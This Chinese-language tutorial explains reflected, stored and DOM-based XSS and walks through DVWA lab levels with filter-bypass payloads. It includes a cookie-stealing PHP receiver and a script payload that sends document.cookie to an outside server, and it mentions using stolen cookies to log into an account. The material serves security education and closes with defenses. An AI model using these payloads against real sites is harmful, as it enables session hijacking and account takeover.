0x00 xss漏洞簡介
XSS漏洞是Web應用程序中最常見的漏洞之一。如果您的站點沒有預防XSS漏洞的固定方法,
那么很可能就存在XSS漏洞。
跨站腳本攻擊是指惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中
Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
xss漏洞通常是通過php的輸出函數將javascript代碼輸出到html頁面中,通過用戶本地瀏覽器執行
的,所以xss漏洞關鍵就是尋找參數未過濾的輸出函數。
常見的輸出函數有: echo printf print print_r sprintf die var_dump var_export.
0x01 xss漏洞分類
(1)反射型xss
反射性XSS,也就是非持久性XSS。用戶點擊攻擊鏈接,服務器解析后響應,在返回的響應內容中出現
攻擊者的XSS代碼,被瀏覽器執行。一來一去,XSS攻擊腳本被web server反射回來給瀏覽器執行,所
以稱為反射型XSS。
特點:
1> XSS攻擊代碼非持久性,也就是沒有保存在web server中,而是出現在URL地址中;
2> 非持久性,那么攻擊方式就不同了。一般是攻擊者通過郵件,聊天軟件等等方式發送攻擊URL,然后
用戶點擊來達到攻擊的;
(2)存儲型xss
存儲型xss又稱持久型xss,它主要存儲在服務器中,這樣,每一個訪問特定網頁的用戶,都會被攻擊。
特點:
1>XSS攻擊代碼存儲於web server上;
2> 攻擊者,一般是通過網站的留言、評論、博客、日志等等功能(所有能夠向web server輸入內容的地方),
將攻擊代碼存儲到web server上的;
(3)DOM型xss
基於文檔對象模型Document Objeet Model,DOM)的一種漏洞。基於DOM的XSS,也就是web server不參與,僅僅涉及到瀏覽器的XSS。從效果上來說也是反射型XSS
0x02 DVWA靶場演示
反射型xss
low
直接引用了name參數,沒做任何的過濾
輸入<script>alert(/xss/)</script>
直接彈窗
Medium
可以看到,這里對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>刪除,
這種防護機制是可以被輕松繞過的。
1.雙寫繞過
輸入<sc<script>ript>alert(/xss/)</script>,成功彈框:
2.大小寫混淆繞過
輸入<ScRipt>alert(/xss/)</script>,成功彈框:
High
可以看到,High級別的代碼同樣使用黑名單過濾輸入,preg_replace()函數用於正則表達式的搜索和替
換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)不再有效。
雖然無法使用<script>標簽注入XSS代碼,但是可以通過img、body等標簽的事件或者iframe等標簽的
src注入惡意的js代碼。
輸入<img src=1 onerror=alert(/xss/)>,成功彈框:
Impossible
可以看到,Impossible級別的代碼使用htmlspecialchars函數把預定義的字符&、”、 ’、<、>轉換為
HTML實體,防止瀏覽器將其作為HTML元素。
反射型漏洞利用演示
1. 搭建惡意服務器,獲取cookie
服務器端接收的代碼:
1 <?php 2 $cookie=$_GET['cookie']; 3 fputs(fopen("c.txt","w"),$cookie); 4 ?>
payload
<script>document.location='http://192.168.0.105:8080/cookie.php?cookie='+document.cookie</script>
2.利用xss平台(https://xss.pt/xss.php)
payload
可以用xss平台來獲取cookie
3.利用QQ空間cookie登錄
ps:這是筆者QQ,歡迎撩 >_<
存儲型xss
Low
相關函數介紹
trim(string,charlist)
函數移除字符串兩側的空白字符或其他預定義字符,預定義字符包括、\t、\n、\x0B、\r以及空格,可選參數
charlist支持添加額外需要刪除的字符。
stripslashes(string)
函數刪除字符串中的反斜杠。
mysql_real_escape_string(string,connection)
函數會對字符串中的特殊符號(\x00,\n,\r,\,‘,“,\x1a)進行轉義。
可以看到,對輸入並沒有做XSS方面的過濾與檢查,且存儲在數據庫中,因此這里存在明顯的存儲型XSS漏洞。
message一欄輸入<script>alert(/xss/)</script>,成功彈框:
name一欄前端有字數限制,抓包改為<script>alert(/name/)</script>
成功彈窗
Medium
相關函數說明
strip_tags() 函數剝去字符串中的HTML、XML以及PHP的標簽,但允許使用<b>標簽。
addslashes() 函數返回在預定義字符(單引號、雙引號、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由於對message參數使用了htmlspecialchars函數進行編碼,因此無法再通過message參數
注入XSS代碼,但是對於name參數,只是簡單過濾了<script>字符串,仍然存在存儲型的XSS。
1.雙寫繞過
抓包改name參數為<sc<script>ript>alert(/xss/)</script>:
成功彈框
2.大小寫混淆繞過
抓包改name參數為<Script>alert(/xss/)</script>
成功彈框
High
可以看到,這里使用正則表達式過濾了<script>標簽,但是卻忽略了img、iframe等其它危險的標簽,
因此name參數依舊存在存儲型XSS。
抓包改name參數為<img src=1 onerror=alert(1)>:
成功彈框
Impossible
可以看到,通過使用htmlspecialchars函數,解決了XSS,但是要注意的是,如果htmlspecialchars函數
使用不當,攻擊者就可以通過編碼的方式繞過函數進行XSS注入,尤其是DOM型的XSS。
DOM型xss
low
沒有任何過濾,構造<script>alert(/xss/)</script>,直接彈窗
Medium
經過代碼審計之后可知:array_key_exists檢查數組里是否有指定的鍵名或索引,並且default值不為null,
傳遞的數據中如果存在<script>標簽,則會進入if條件,default默認賦值為“English”
由於stripos函數的作用所以不能使用<script>標簽,但是真的就不能使用該標簽嗎,答案是可以的,此處
要利用到URL中的一個特殊字符‘#’,該字符后的數據不會發送到服務器端,從而繞過服務端過濾
1.用#繞過
構造payload
http://192.168.1.13/DVWA/vulnerabilities/xss_d/?#default=<script>alert(/xss/)</script>
2.用img標簽進行繞過
http://192.168.43.146/dvwa/vulnerabilities/xss_d/?default=</option></select><img src=# onerror=alert("xss")>
這里我們閉合了option和select標簽,然后執行img標簽
High
代碼審計之后可知:在服務器后端判斷,要求default的值必須為select選擇菜單中的值,這里繼續用上面的
#符號繞過即可,構造payload
http://192.168.1.13/DVWA/vulnerabilities/xss_d/?default=English#<script>alert(/xss/)</script>
impossible
impossible級別的代碼沒有任何東西,注釋寫的是保護的代碼在客戶端的里面
於是我們嘗試訪問鏈接
http://192.168.1.13/DVWA/vulnerabilities/xss_d/?default=<script>alert(/xss/)</script>
發現頁面並沒有彈出任何東西,而且語言框內的值是我們輸入的參數的經過URL編碼后的數據
我們查看源代碼,發現這里對我們輸入的參數並沒有進行URL解碼,所以我們輸入的任何參數都是經
過URL編碼,然后直接賦值給option標簽。所以,就不存在XSS漏洞了。
0x03 xss漏洞防范
1.CSP內容安全策略
2.通過設置HttpOnly防止cookie被竊取
3.嚴格限制輸入和輸出